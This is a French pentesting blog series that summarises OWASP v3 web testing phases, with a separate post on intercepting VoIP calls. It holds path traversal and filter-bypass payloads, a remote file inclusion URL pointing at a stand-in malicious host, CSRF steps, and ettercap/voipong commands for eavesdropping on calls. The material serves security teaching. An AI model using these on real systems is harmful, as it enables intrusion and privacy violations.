Puisque chaque application est différentes, il n'existe pas de tests particuliers que nous pouvons fournir de manière certaine. Cependant, une démarche précise est proposée pour couvrir au mieux l'application et tenter de trouver les failles de sécurité éventuelles.

1/ Comprendre l'application :

Il s'agit ici de connaître les possibilités offertes par l'application. Pour cela, l'auditeur pourra s'aider de la documentation disponible (test en boîte blanche) et de sa propre exploration de l'application en navigant sur les différentes pages. Il est important de noter à cette étape :

les limites rencontrées (que nous essaierons ensuite de contourner) ;
les différentes manières de réaliser certaines actions (notamment les actions les plus importantes).

Cette première étape nous fournit un aperçu de l'application et nos premières pistes.

2/ Etablir les scénario de tests :

Nous prenons ici en compte tous les cas possibles que nous devrons croiser entre eux pour être exhaustif. Les cas en questions sont :

les fonctionnalités principales (recherche d'un produit, commande d'un produit, ...) ;
le circuit de validation d'une action (ex : de la commande à la validation d'un achat) ;
les différents rôles intervenant sur l'application (e.g. de l'administrateur au directeur) ;
les différents services (service IT, marketing, ...) ;
les droits et privilèges accordés à chacun ... et à vérifier.

Ces cinq éléments doivent nous permettre de constituer un tableau avec l'ensemble des actions permises pour chaque niveau d'utilisateur.

3/ Préparation des tests

Suite à l'étape précédente, nous devons déterminer ici le ou les test(s) à réaliser en conséquence pour nous assurer que l'application est correctement cloisonnée par type d'intervenant et par action.

Par conséquent, à l'issue de cette troisième étape, un nouveau tableau sera créé contenant les tests résultants de l'étape précédente. Nous nous appuierons donc largement sur le précédent tableau.

4/ Obtention des pré-requis

Maintenant que les tests à réaliser sont connus, il est temps de demander au client les ressources nécessaires à leur réalisation. La plupart du temps, il s'agira de comptes avec des niveaux de privilèges différents. Aussi, il peut s'agir d'URL d'administration pour les comptes les plus privilégiés. Il est préférable de commencer avec un compte standard et de demander les ressources au fur et à mesure pour ne pas influencer les tests.
Par exemple, est-il possible de trouver et d'accéder à l'interface d'administration avec un compte standard sans information préalable ?

5/ Exécution des tests

L'exécution des tests issus du tableau déterminé en 3/ considérera la plupart du temps :

l'analyse des requêtes HTTP ;
les protections apportées (ou non) aux flux et données (e.g . chiffrement) ;
la récupération d'erreur lorsque nous testons des valeurs limites ou hors range (ex : valeur négative ou très importante pour une somme) ;
la recherche d'information cachée dans le traitement des actions;
la modification de données en cours d'action ;
le contournement d'une ou plusieurs étapes de validation ;
etc.

A vous de jouer !

La suite au prochain épisode.

[STANDARD] OWASP - Episode 5

2009-02-24T04:52:00.000-08:00

Ce post traite la quatrième phase des tests actifs. Ils sont relatifs à l'autorisation sur les ressources (utilisateurs, fichiers, données, etc.) gérées par l'application WEB testée. Le but des attaques présentées est de trouver l'accès à des ressources protégées ou de réaliser une escalade de privilèges.

1 - Avant-propos

Nous continuons notre aventure à la découverte de la norme OWASP v3 dans ce cinquième épisode. De nom originel "Authorization Testing", il s'agit du chapitre 4.6 de la norme. A noter que cette partie aborde plus des points d'attaque que des attaques précises. En effet, une escalade de privilège suit rarement un acheminement précis sauf dans le cas d'un exploit existant qui entre dans le cadre d'une vulnérabilité trouvée.

2 - Phase de tests actifs 4 - tests sur les autorisations

2.1 - AZ-001 : Traverse de répertoires (ou "Path Traversal")

Nous allons mener cette attaque en deux étapes :

1/ Rechercher les points susceptibles d'être vulnérable à une telle attaque : URL, cookie, et autres points contenant ou acceptant un point d'entrée (généralement, avec le signe "=").
2/ Tester l'attaque dont voici quelques exemples :

dot dot slash attack. Ex : ../../../etc/passwd ;
injecter une URL malicieuse dans une URL de l'application. Ex : http://www.cible.php?page=http://evil.net/script_malicieux
tenter de dévoiler le code source d'une partie de l'application. Ex : http://www.cible.com/function.cgi?file=trouverez-vous-mon-code-source.cgi.

Dans le cas où un filtrage des caractères est mis en place, il est bon de savoir que :

../ s'écrit aussi %2e%2e%2f ou encore ..%c0%af
..\ s'écrit aussi %2e%2e%5c ou %252e%252e%255c ou encore ..%c1%9c

Dans le cadre d'un test en boîte grise, la méthodologie est la même (suivre les deux mêmes étapes). La différence est que les points d'entrée devront être cherchés dans les fonctions spécifiques comme par exemple :

include() en PHP ;
java.io.file() en JSP.

2.2 - AZ-002 : Contournement des autoriations

Pour cette partie, il n'existe pas de manière précise d'opérer. Cependant, répondre aux questions suivante en effectuant les tests associés permettra à de savoir si les autorisations appliquées à l'application peuvent être contournées ... quand elles existent.

Peut-on accéder à la ressource non autorisée sans être connecté ? Une fois déconnecté ?
Est-il possible d'accéder à une ressource administrative avec un compte standard ?
Dans les requêtes HTTP, est-il possible de modifier certains paramètres pour obtenir de nouveaux droits ?
Tester si un utilisateur qui ne devrait pas avoir accès à une certaine ressource ne peut effectivement pas y être autorisé.

2.3 - AZ-003 : Escalade de privilèges

Tout d'abord, il est important de savoir qu'il existe deux types d'escalade de privilège afin que les tests soient exhaustifs :

L'escalade horizontale : elle consiste à accéder à une ressource d'un autre utilisateur qui a les mêmes droits que nous (ex : le compte mail d'un autre utilisateur) ;
L'escalade verticale : elle consiste à accéder à des ressources requérant des droits supérieurs (ex : des droits administrateurs alors que nous n'avons qu'une compte utilisateur standard).

Les tests se font de la manière suivante :

commencer par trouver les champs susceptibles de permettre une escalade de privilèges (ex : un champ caché contenant un ID ou un niveau d'autorisation) ;
modifier les valeurs repérées et voir le comportement de l'application. Est-ce que la modification nous fournit l'accès à de nouvelles ressources ? A des ressources demandant normalement un accès privilégié ?

Pour que ce soit plus clair, il suffit d'imaginer par exemple que le niveau d'authentification est fourni dans le cookie : Session-ID=3-adebadbcaf85cc43+adfg32+56defc, le premier chiffre avant le tiret (ici, 3) pourrait très bien représenter le niveau d'authentification. Essayer donc avec "1" ou "5".

La suite au prochain épisode ...

[STANDARD] OWASP - Episode 4

2009-02-23T13:17:00.000-08:00

Nous abordons ici la troisième phase des tests actifs. Ils concernent la gestion des sessions à travers les cookies. De nombreux paramètres peuvent être testés. Etant donné qu'une mauvaise implémentation peut permettre l'obtention d'une session à un attaquant, nous voyons de suite l'intérêt de ce sujet.

1 - Avant-propos

Ce post est le quatrième d'une série de dix. Chaque "épisode" aborde un chapitre de la norme OWASP, version 3. Le but est de mener le test d'intrusion d'une application WEB méthodologiquement. Le post présent fait référence au chapitre 4.5 de la norme, nommé "Session Management". Pour la partie théorique, voir l'article sur Wikipedia en anglais très intéressant. Pour le côté pratique, il est recommandé d'effectuer tous ces tests à l'aide d'un proxy local pour intercepter et rejouer les requêtes HTTP.

2 - Phase de tests actifs 3 : tests sur la gestion des sessions à travers les cookies

2.1 - SM-001 : Structure des cookies

Ce premier point est en fait une prise d'information sur la façon dont sont créés et utilisés les cookies. Mieux comprendre le fonctionnement permet au moins de mieux préparer les attaques qui suivent et au mieux de trouver de premières vulnérabilités.

1/ Ouvrir un certain nombre de sessions faisant intervenir les cookies à analyser (NB : il est possible de s'aider d'un outil comme Cookie Digger pour les étapes qui suivent).

Combien de cookies sont générés pour ouvrir une session ? Quand ? Comment ? Sont-ils modifiés dans le cadre de la session ?
Les cookies eux-mêmes révèlent-ils des informations intéressantes ? (notamment le Session ID)
Les données contenues dans les cookies sont-elles chiffrées ? Si oui, l'algorithme utilisé est-il fiable ?
La génération des Sessions ID est-elle prédictible ou réellement aléatoire ?

2/ Reverse engineering des cookies.

Est-il possible de créer un cookie valide ?
Est-il possible de modifier un paramètre contenu dans le cookie ? (ex : Admin=No que l'on changerait en Admin=Yes).
Que se passe-t-il en cas de modification du cookie ? (suppression / remplacement ou ajout de caractères) ?
Quels est l'ensemble des caractères utilisés ?

3/ Manipulation des cookies.

L'ID est-il présent en clair ?
Sinon, peut-il être deviné ? (ex : algorithme trop simple)
Sinon, est-il résistant aux attaques de type Brute-Force ? (NB : cf. Cookie Digger)

2.2 - SM-002 : Les attributs des cookies

Les cookies les plus critiques doivent comporter un certain nombre de flags et ceux-ci doivent être correctement configurés :

Le flag secure (impose la transmission via un tunnel chiffré comme SSL) ;
Le flag HTTP-Only (pour se prémunir contre certaines attaques de type XSS) ;
Le flag Domain doit être présent et le plus précis possible ;
De même pour le flag Path (i.e. différent de "/") ;
De même pour le flag expires doit être configuré pour éviter le rejeu.

2.3 - SM-003 : Fixation des cookies

Admettons qu'un même cookie puisse être réutilisé pour ouvrir une session, le récupérer d'une manière ou d'une autre donne un accès, voir l'accès d'un autre utilisateur.

Il suffit de générer un cookie via une requête GET sur le site cible.
Ensuite, on réutilise ce cookie avec une requête POST.

Par exemple, faites un GET sur le site blogspot.com :

telnet www.blogspot.com 80
GET / HTTP/1.0

Ces opérations peuvent être effectuées via un proxy local (Burp, Paros, Webscarab, ...).

2.4 - SM-004 : Exposition des variables (cookie, session-ID, ...)

1/ Tenter de se connecter via un session HTTP. Les cookies sont-ils systématiquement générés via un protocole chiffré ? (e. g. HTTPS). La partie authentifiante est-elle renouvelée à chaque authentification ? Sinon, il y a un risque de rejeu...

2/ La version 1.1 du protocole HTTP est-elle implémentée ? Elle permet l'interprétation de l'attribut cache avec l'argument no-cache évite la réutilisation du cookie (cf. image ci-dessus).

3/ La génération des cookies se fait-elle à travers la méthode POST ? Cette dernière est moins vulnérables que la méthode GET.

2.5 - SM-005 : Attaque CSRF

Ce post n'a pas pour ut d'expliquer cette attaque en détail mais le lecteur curieux trouvera des informations sur le site Wikipedia de nouveau.
Le test peut être mener en cinq étapes :

1/ Trouver une URL valide qui lance l'action souhaitée (ex : www.cible.com/administrative_task) ;
2/ Créer une page HTML contenant cette URL (lien HTTP, image, ...) ;
3/ Assurez-vous que l'utilisateur est actuellement loggé à l'application (et donc que sa session est ouverte) ;
4 / Trouvez un moyen de faire cliquer l'utilisateur sur le lien (1/) présent sur votre page (2/) ;
5/ Vérifier que la commande a bien été exécutée.

Le but est donc que la commande que vous souhaitez exécuter le soit par l'utilisateur lui-même avec sa session quand vous n'avez pas les accès nécessaires.

La suite au prochain épisode ...

[PENTESTING] VoIP Hacking

2009-02-01T02:38:00.001-08:00

La VoIP est depuis quelques années déjà une partie intégrante du SI. Elle est considérée comme un point sensible car les conversations permettent de révéler des informations importantes et surtout, peuvent porter à la vie privée des employés. Nous allons donc voir ici, d'un point de vue technique, quelle est la manière de récupérer des conversations.

1 - Avant-propos

Il est important de noter que le cas présenté ici est simple. En effet, nous considérons que tous les composants de notre attaque (passerelle VoIP + machines victimes + machine d'audit) sont dans le même réseaux ou dans des réseaux non cloisonnés.
Aussi, les flux ne sont pas chiffrés et l'authentification inexistante. Cependant, c'est un cas tout à fait réaliste dans le sens où c'est ce que nous pourrions trouver dans une entreprise qui a laissé les paramétrages par défaut.

2 - Localisation des éléments clés

Notre interception de trafic repose sur le sniff entre la passerelle VoIP et le routeur le plus proche de la machine d'audit (ici). Ensuite, nous devons accompagner ce sniff par une attaque de type Man-in-the-Middle. Nous devrions alors récupérer un tas de choses intéressantes...

2.1 - Localisation du routeur le plus proche

Nous effectuons tout simplement un traceroute pour trouver le routeur en question (ce que nous pourrons vérifier par des moyens simples (ifconfig / requête SNMP / ...) :

L'adresse de notre routeur est donc : 10.xxx.yyy.2.

2.2 - Localisation de notre passerelle VoIP

Nous utilisons l'outil smap qui permet de trouver les éléments actifs sur le port 5060 (SIP).

smap 10.xxx.zzz.0/24

Nous détectons ainsi la passerelle comme le montre le screenshot suivant :

L'adresse de notre passerelle VoIP est donc : 10.xxx.zzz.130.

Pour vérification et avoir plus d'information sur ma machine repérée, nous lançons smap avec l'option -o :

smap -o 10.xxx.zzz.130

3 - Interception du trafic

Nous mettons en œuvre cette fois l'attaque Man-in-the-Middle à l'aide de l'outil Ettercap. Puisque cette attaque est bien connue et déjà expliquée sur ce blog, nous n'entrerons pas dans les détails ici. Sinon, voir [post, point 3.2] [wikipedia].

Nous lançons la commande :

ettercap -Tqi eth0 -M arp /10.xxx.zzz.130/ /10.xxx.yyy.2/

4 - Capture et enregistrement des conversations

Pour réussir cette dernière étape, nous utilisons deux outils disponibles notamment sur la backtrack 3 :

voipong
voipctl

4.1 - Un peu de configuration

Pour donner l'adresse du réseau audité, aller dans le fichier de configuration voipongnets.

cd /usr/local/etc/voipong
vi voipongnets

Vous trouverez seulement deux lignes. Ici, notamment sur la deuxième ligne, mettez le sous réseau audité. Si ça ne marche pas, faites de même sur la première ligne.

4.2 - Lancement des outils

Tout simplement, nous lançons voipong ...

... puis voipctl

4.3 - Écoutez !

Il ne vous reste plus qu'à récupérer les fichiers audio enregistrés (voir le fichier de configuration de voipong pour connaître le répertoire de destination) et à lancer votre lecteur audio préféré.

Have fun! ;)

[STANDARD] OWASP - Episode 3

2009-01-09T14:10:00.000-08:00

Nous continuons les tests actifs avec cette deuxième phase. Elle traite des tests sur le système d'authentification. Ce point est très important puisqu'il permet d'obtenir des escalades de privilèges et/ou des accès illégitimes s'il est mal configuré.

1 - Avant-propos

Pour rappel, la méthodologie d'OWASP décompose les tests d'intrusion en :

une phase de tests dits passifs (collecte d'informations) ;
neuf phases de tests actifs.

C'est la deuxième des 9 phases de tests actifs que nous étudions ici, appelé Authentification Testing (AT).

2 - Phase de tests actifs 2 : tests sur le système d'authentification

2.1 - AT-001 : Transport des credentials un tunnel chiffré

Lorsque l'authentification a lieu via Internet (e. g. portail WEB), alors il faut nous assurer que les données sensibles que sont le login et le mot de passe sont transmises de manière sécurisée entre le client et le serveur. Puis nous pouvons lancer le test suivant :
1/ Lancer un proxy local ;
2/ Effectuer une authentification via le formulaire WEB ;
3/ Est-ce que la méthode "GET" ou "POST" qui est utilisé ? (GET ne devrait pas être utilisé !) ;
4/ Est-ce que l'authentification se fait bien via HTTPS ?

2.2 - AT-002 : Énumération d'utilisateurs

Avant de chercher le mot de passe, nous avons besoin de connaître le login. A travers un page d'authentification, nous pouvons lancer plusieurs tests pour trouver cette information.

1/ Analyser les messages et codes d'erreur issus des réponses HTTP en essayant plusieurs scénarios (login valide + mot de passe valide / login valide + mot de passe faux / login et mot de passe faux). Le message doit être le même que ce soit le login et/ou le mot de passe qui est(sont) faux.

Par exemple, le site suivant renvoie cette fenêtre quand le login est faux :

Alors que si seul le mot de passe est faux, nous avons cette autre fenêtre :

Nous venons de trouver un login !

2/ Obtient-on l'erreur 403 à la place de l'erreur 404 ? (Alors la page existe pour cet utilisateur mais n'est pas accessible).

3/ Le titre de la page WEB est-il modifié selon que l'authentification a réussi ou non ?

4/ Etudier les pages et formulaires proposés pour le recouvrement de mots de passe.

5/ Obtient-on une erreur 404 (éventuellement verbeuse) au lieu d'une erreur 200 générique ?

6/ Peut-on deviner les logins ? (à partir des logins de tests, des logins déjà trouvés, selon un schéma particulier ? etc.).

2.3 - AT-003 : Compte utilisateur par défaut ou pouvant être devinés

Que ce soit sur un serveur ou un équipement réseau, un mot de passe par défaut peut être présent si l'administrateur a omis de le modifier ou s'il s'agit d'un compte non utilisé et toujours avec son mot de passe par défaut. Nous pouvons aussi trouver des logins simples qui ont servi de test la plupart du temps et n'ont pas été supprimés.

1/ Tester les logins communs (ex : "admin" / "test" / ...)

2/ Tenter de trouver un login grâce au nom de l'application ou de la société cible (ex : C0mpanie123).

3/ Utiliser le nom des contacts de la mission de tests d'intrusion pour en trouver les logins (ex : pmartin / pmartin1 / martin / ... pour Paul MARTIN).

4/ Utiliser la page d'inscription pour obtenir des informations sur le format du login (ex : adresse mail / initiales / prénom + chiffre /...).

5/ Essayer un mot de passe blanc. Hé oui, ça marche parfois !

6/ Regarder le code javascript et le code source pour obtenir des informations sur le login.

7/ Trouver des informations laissées inintentionnellement en clair dans un fichier de sauvegarde ou un commentaire de code.

8/ Trouver le schéma de login (ex : nom + 1 caractère + 2 chiffres). Pour trouver ce schéma, créer un maximum de compte.

2.4 - AT-004 : Attaque de type brute-force

Si aucun seuil n'est appliqué au compte, alors il est possible d'utiliser une attaque de type brute-force qui consistera à essayer tous les mots d'une liste (e. g. dictionnaire) ou des combinaison de caractères.

1/ Tout d'abord, quel est le mode d'authentification ? (Basic ? Digest ? HTTP-Form ?)

2/ Tenter de cracker le mot de passe à l'aide des outils JTR, Hydra, Brutus, Base64 decoder, ...
Un exemple est disponible sur un post précédent.

3/ En boîte grise ou si vous arriver à obtenir les hashes des mots de passe, vous devrez auditer la force du secret grâce aux rainbow tables et l'outil rcrack.

2.5 - AT-005 : Contourner l'authentification

1/ La page est parfois directement accessible si nous connaissons la bonne URL... Pour la trouver, il nous faudra manuellement modifier l'URL ou la trouver grâce à un scanner de site WEB.

2/ Les ressources protégées peuvent être accessible si nous modifions les paramètres contenus dans l'URL. (ex : remplacer access=no par access=yes).

3/ L'ID de session peut être trouvé. Ce cas devrait être testé en générant un grand nombre de session. Peut-on trouver une logique entre chaque ID ?

4/ Les champs d'authentification acceptent-ils une injection SQL ?

2.6 - AT-006 : Mot de passe mémorisé et fonction de reset

Il existe toujours une solution de secours au cas où l'utilisateur aurait perdu son mot de passe. Certaines solutions sont plus vulnérables que d'autres. En voici plusieurs scénarios.

1/ Peut-on directement deviner la réponse ? Imaginons que plusieurs questions sont proposées (parmi plusieurs questions secrètes auxquelles un utilisateur a répondu lors de son inscription). Dans ce cas, il faut choisir la question la plus facile :

celle dont la réponse peut se trouver à l'aide d'un moteur de recherche ;
ou celle qui peut reposer sur des statistiques ;
ou celle dont la réponse fait partie d'un ensemble limité (ex : marque d'une voiture) ;
...

2/ Quelles sont les moyens qui sont à notre dispositions ?

Un nombre d'erreur limité est-il configuré pour nos réponses ?
Comment est réinitialisé le mot de passe ? (via l'envoi d'un email ? via des réponses sur le profil de l'utilisateur ? via des questions secrètes ?).

3/Existe-t-il un autre moyen de trouver le mot de passe ?

Est-il enregistré dans le cache du navigateur ?
Est-il transmis via un cookie persistant ?

2.7 - AT-007 : Déconnexion et gestion du cache utilisé par le navigateur

Si une session est mal configurée, elle ne se terminera pas correctement. Alors, les informations sensibles peuvent transiter ou être stockées de manière non sécurisée car non effacées grâce à une déconnexion "propre".

1/ La fonction de déconnexion est-elle correctement implémentée ?

Existe-t-il un bouton de déconnexion ? Bien visible ?
Les cookies de session sont-ils correctement effacés ?
L'utilisation d'un navigateur différent permet-il de dévoiler certaines informations ?
Le bouton "retour" du navigateur permet-il de revenir sur la page sensible ?
Que se passe-t-il quand on empêche l'exécution de script ? (javascript)?
Est-il possible de configurer manuellement des cookies qui fonctionnent ?

2/ Comment est configuré la fonction de timeout ?

Existe-t-il une fonction de timeout ?
Les tokens sont-ils détruits une fois cette limite de temps passée ?
Les tokens générés sont-ils réutilisables ? (rejouer un token ...).

3/ Pages en cache
A travers un proxy, regarder les requêtes HTTP qui sont lancées :

pragma: no-cache

Regarder aussi au niveau HTML :

2.8 - AT-008 : CAPTCHA

CAPTCHA (pour Completely Automated Public Turing test to tell Computers and Humans Apart) est un système d'authentification basé sur le challenge-réponse. S'il est normalement solide, il peut être déjoué grâce à des défauts d'implémentation.

1/ Phase de reconnaissance du CAPTCHA :

Quels sont les paramètres utilisés ?
Peut-on effectuer des attaques de rejeu ? (en utilisant une ancienne valeur d'un CAPTCHA décodé couplé à un ancien ID d'une session ou en le couplant à un ancien ID d'un CAPTCHA décodé).

2/ Un CAPTCHA similaire a-t-il déjà été cassé ?

3/ Le nombre de réponse est-il limité ? La réponse elle-même peut-elle être devinée ?

4/En boîte grise, des tests supplémentaires peuvent être effectués :

Des vulnérabilités connues existent-elles ?
Les algorithmes de chiffrement et de hashages sont-ils suffisamment robustes ?

2.9 - AT-009 : MFAS

MFAS (pour Multiple Factors Authentication System) est aussi appelé authentification forte. Le pentester confronté à ce genre de situation aura certainement plus de difficulté à le contourner. Cependant, certains sont plus robustes que d'autres et la plupart du temps, ils ne protègent pas contre tous les types d'attaques.

1/ Dans cette section, le but est de s'assurer que le MFAS permet bien de protéger les ressources contre les menaces suivantes :

Vols des credentials ;
Mots de passe faibles ;
Attaques basées sur la session (rejeu / fixation d'une session) ;
Chevaux de troie et logiciels malicieux ;
Réutilisation des mots de passe.

2/ Mener les tests en fonction des méthodes d'authentification rencontrés :

OTP ;
Carte virtuelle ;
Clé USB ou carte à puce avec certificat ;
OTP généré aléatoirement et transmis via SMS.

2.10 - AT-010 : Race Conditions

Les races conditions consistent à croiser plusieurs actions simultanément pour provoquer un comportement inattendu. Par exemple, effectuer deux retraits d'argent simultanément entre deux même comptes.

1/Pour toutes les actions permises pour l'application testée, essayer de lancer des actions simultanées.

2/ Le résultat obtenu est-il conforme au comportement attendu ?

La suite au prochain épisode ...

[STANDARD] OWASP - Episode 2

2009-01-02T08:32:00.000-08:00

Suite du premier épisode qui traitait de la collecte d'information. Ici, nous abordons le premier chapitre des tests actifs. Plus précisément, ils concernent les tests sur l'infrastructure environnante et l'application auditée elle-même.

1 - Avant-propos

Pour rappel, la méthodologie d'OWASP décompose les tests d'intrusion en :

une phase de tests dits passifs (collecte d'informations) ;
neuf phases de tests actifs.

C'est la première des 9 phases de tests actifs que nous étudions ici, appelé Configuration Management (CM).

2 - Phase de tests actifs 1 : tests sur la configuration de l'infrastructure et de l'application

2.1 - CM-001 : Tests sur les certificats, SSL/TLS

Les certificats peuvent donner un sentiment de "fausse sécurité". Il est important alors de vérifier que les données sont transmises de manière sécurisée sans quoi un attaquant sera en mesure de récupérer les informations sensibles qui transitent. La démarche du test se déroule en trois axes :

1/ Quelle est la robustesse du chiffrement par défaut (taille de la clé suffisante ? Algorithme de chiffrement satisfaisant ? Algorithme de hashage existant et suffisant ?)

2/ En parallèle, d'autres chiffrements, dits faibles, sont-ils autorisés ? SSLv2, connu pour être vulnérable aux attaques de type Man-in-the-Middle, est-il permis ?

openssl s_client -ssl2 -connect www.cible.com:443

3/ Le certificat utilisé est-il valide ?

Est-il auto-signé (non recommandé) ?
Est-il bien signé par une autorité reconnue (recommandé) ?
Est-il à jour (i.e. non expiré) ?
L'URL trouvé sur le certificat correspond-elle au site WEB ?

A noter : la sécurité des certificats a déjà été abordé dans un post précédent [plus d'info, partie 2].

2.2 - CM-002 : Tests sur le Listener d'Oracle

Via le Listener d'Oracle, il est possible d'exécuter des commandes, voire de prendre la main sur le serveur. C'est pourquoi cette section a pour objectif de trouver une vulnérabilité sur ce serveur de base de données.

1/ Identifier le service à l'aide de NMAP par exemple (par défaut, il s'agit des ports 1521, 2483 ou 2484).

2/ Auditer le serveur Oracle avec l'outil de INTEGRIGY [info] [télécharger].

3/ Tester avec le client Oracle pour obtenir :

des informations supplémentaires ;
la liste des comptes ;
trouver des procédures capables d'exécuter des commandes arbitraires.

4/ En boîte grise, vérifier la bonne configuration du fichier Listener.ora.

A noter : de nombreuses références et outils pour auditer un serveur Oracle sont disponibles [ici].

2.3 - CM-003 : Audit de l'infrastructure

Ce troisième point nous apportera une meilleure connaissance de l'architecture. Principalement, nous devrions avoir une meilleure vue sur les protections réseau employées.

1/ Revue de l'architecture de l'application :

Avons-nous un pare-feu ? Si oui, l'isolation des éléments de l'architecture est-elle correctement configurée ?
Un reverse-proxy ?
Un répartiteur de charge ?
Une base de données ?
Un serveur d'authentification ?
Etc ...

2/ Existe-t-il des vulnérabilités connues sur les éléments de l'infrastructure identifiés ? (NESSUS + securityfocus.com + tests manuels + ...)

3/ Des outils d'administration sont-ils présents ? Accessibles ?

A noter : Pour la recherche de vulnérabilités connues, voir deux précédents posts sur NESSUS et son utilisation [ici] et [là].

2.4 - CM-004 : Configuration de l'application

La présente section a pour but d'identifier les problèmes de configuration globaux de l'application et la gestion des logs.

1/ Des fichiers d'installation / connus sont-ils présents sur le serveur ? (ex : les fichiers d'installation par défaut d'Apache).

2/ Passer en revue les commentaires contenus dans le code source des pages de l'application.

En boîte grise,

3/ Auditer les fichiers de configuration du serveur WEB. Le niveau de sécurité est-il suffisant ?

4/ La gestion des logs est-elle satisfaisante ?

Comment sont traitées les informations sensibles ?
Où sont stockés les logs ?
De quel manière sont-il stockés ? (espace disque suffisant ? partitionnés par application ? supervisés ?)
Comment est appliquée la gestion des logs ? (période ? compression des archives ? permissions attribuées sur les archives suffisamment restrictives ?)
Les logs importants sont-ils bien audités ? (ex : erreurs 40x et 50x).

2.5 - CM-005 : Contrôle des extensions de fichiers

Les extensions de fichiers peuvent d'une part révéler de nouvelles informations. D'autre part, elles peuvent prouver l'existence d'un type de fichier et donc la présence d'informations sensible s et/ou techniques.

1/ Lancer des requêtes HTTP avec des ressources dont l'extension est différente. Quel est le comportement du serveur WEB ?

2/ Trouver les répertoires contenant les scripts (grâce à Nessus, Nikto, Crawler, ...).

2.6 - CM-006 : Fichiers anciens, de sauvegarde et non référencés

Bien souvent, des fichiers sont stockés sur le serveur par oubli ou par mégarde. Malheureusement, ils fournissent souvent des informations précieuses ou des accès illégitimes.

1/ Déduire l'existence de nouveaux fichiers / répertoires. Par exemple,

s'il existe le fichier removeuser.asp, tenter adduser.asp ;
s'il existe le répertoire /users, existe-t-il le répertoire /admin ?

2/ Trouver de nouveaux fichiers qui seraient cités :

dans les commentaires du code source ;
dans les codes javascript ;
dans le fichier robots.txt.

Exemple récupéré sur le site www.lemonde.fr/robots.txt :

User-agent: *
Disallow: /web/recherche_resultats/
Disallow: /web/recherche/
Disallow: /web/yahoosearch/resultats/
Disallow: /web/newsletter_exemple/
Disallow: /web/teaser/
Disallow: /web/inscription_newsletter/
Disallow: /qui-sommes-nous/
Disallow: /web/abopapier/
Disallow: /services-aux-internautes/
Disallow: /web/ep/service_clients/
Disallow: /web/siteweb/
Disallow: /web/imprimer_element/
Disallow: /web/imprimer_archive/

3/ Tenter de trouver de nouveaux fichiers en modifiant leur extension ou en ajoutant une nouvelle (ex : .bak, .old, etc ...).

4/ Chercher s'il existe des vulnérabilités connues affectant le serveur WEB permettant par exemple de lister les répertoires et fichiers ou de récupérer des informations techniques.

5/ Chercher des fichiers via :

les moteurs de recherche ;
la page cache sauvegardée par Google, Yahoo, ou les sites d'archivage (ex : archive.org) ;
les liens fournis par les sites tiers.

2.7 - CM-007 : Interfaces d'administration de l'infrastructure ou de l'application

Les interfaces d'administration permettent d'acquérir des droits plus importants ou du moins, d'exécuter des commandes qui ne sont pas permises pour un utilisateur standard. De tels accès peuvent mener à la compromission du serveur lui-même.

1/ Énumérer les répertoires et fichiers pouvant contenir une interface d'administration (ex : /admin).

2/ Trouver les interfaces grâce aux commentaires ou aux liens WEB parcourus par l'application.

3/ Voir la documentation du serveur et de l'application pour en connaître les répertoires d'administration par défaut. Éventuellement, testes les couples login/mot de passe par défaut (ex : site).

4/ Trouver une interface d'administration sur un autre port. Cet exemple a été abordé dans des posts plus anciens avec JonAs et JBoss.

5/ Est-il possible d'accéder à une interface d'administration en modifiant un cookie ?

2.8 - CM-008 : Tester les méthodes HTTP autorisées et test de l'attaque XST

Certaines méthodes HTTP permettent des actions malicieuses. Elles doivent donc être restraintes ou du moins contrôlées correctement pour éviter qu'un pirate en abuse pour exécuter des commandes arbitraires par exemple.

1/Quelles sont les méthodes HTTP autorisées ? Deux manières peuvent nous apporter la réponse :

a) Netcat + la méthode OPTIONS. Cette dernière liste toutes les méthodes actives si elle est elle-même activée.

nc www.cible.fr 80
OPTIONS / HTTP/1.1

b) Utiliser l'outil Metoscan

POST => N/A
GET => 200 (OK) / 400 (BAD REQUEST)
CONNECT => 200 (OK) / 400 (BAD REQUEST)
PUT => 200 (OK) / 400 (BAD REQUEST)
DELETE => 200 (OK) / 400 (BAD REQUEST)
HEAD => 200 (OK) / 400 (BAD REQUEST)
TRACE => 200 (OK) / 400 (BAD REQUEST)
...

Bien sûr, chaque méthode peut être testée manuellement.

2/ Test de l'attaque XST

Possible si la méthode TRACE est active. Il faut aussi qu'une faille de type XSS (côté serveur) ou que l'exécution de code javascript (côté client) nous permette de lancer une attaque.

3/ Tests des commandes arbitraires

Tester si la méthode JEFF est active. Si oui, une attaque pourra être envisagée.

nc www.cible.fr
JEFF / HTTP/1.1

4/ Contournement des contrôles d'accès via la méthode HEAD

nc www.cible.fr
HEAD /admin HTTP/1.1

A suivre : L'épisode 3 de ce post abordera l'authentification.

[STANDARD] OWASP - Episode 1

2008-12-31T05:32:00.000-08:00

Question de mode ou de professionnalisme, chacun voit les normes et standards à sa manière. Quoi qu'il en soit, elles sont là pour nous guider dans un travail tels que les tests d'intrusion qui ne peuvent être assimilés à une sciences exacte. Dans ce but, nous allons étudier la norme OWASP. Afin d'étudier les différents points qui y sont abordés, 10 épisodes seront rédigés sur ce blog.

1 - Avant-propos

La norme OWASP est découpée de la manière suivante :

une introduction, la présentation des bases de la norme ;
la phase préliminaire des tests (collecte d'information) ;
le déroulement des tests (9 chapitres).

Dans ce premier épisode, nous allons parler des deux premiers points tandis que les 9 prochains épisodes aborderont chacun des 9 chapitres.

Il est important de noter que la norme étudiée est dédiée à la partie tests d'intrusion d'une application WEB. L'OWASP en propose d'autres comme un guide de développement et un guide de revue de code qui sont complémentaires au guide de tests en question [télécharger].

Pour les points 2 et 3 qui suivent, seuls les idées principales seront énoncées. Le but est d'en donner un résumé, non de les retranscrire ;)

2 -Introduction à la norme

2.1 - Le modèle SDLC

La norme OWASP repose sur le modèle SDLC pour Software Development Life Cycle. L'idée est de prendre en compte toutes les étapes de la conception d'une application WEB, c'est à dire les phases de :

définition (cahier des charges, RFP) ;
conception ;
développement ;
déploiement ;
maintenance.

L'idée est que plus un problème est détecté tôt, moins il coûtera en temps et en argent. Sachant qu'un test d'intrusion est généralement effectué juste avant son déploiement (tests avant mise en production) ou après son déploiement (pour cause de retard du lancement de tests ou tests récurrents), les trous de sécurité pourraient être traités plus en amont. C'est là qu'entrent en jeu les autres tests : revue du code et développement du code de manière sécurisée.

A cela, il faut ajouter les interviews qui permettent d'obtenir des renseignements auprès des personnes qui ont conçu l'application et qui fourniront par conséquent des informations précieuses et permettront de régler d'éventuels erreurs en amont. S'engage alors la mise en pratique des normes plus organisationnelles tels que l'ISO 27002. Nous pouvons aussi considérer le standard PCI-DSS dans le cadre d'une application bancaire.

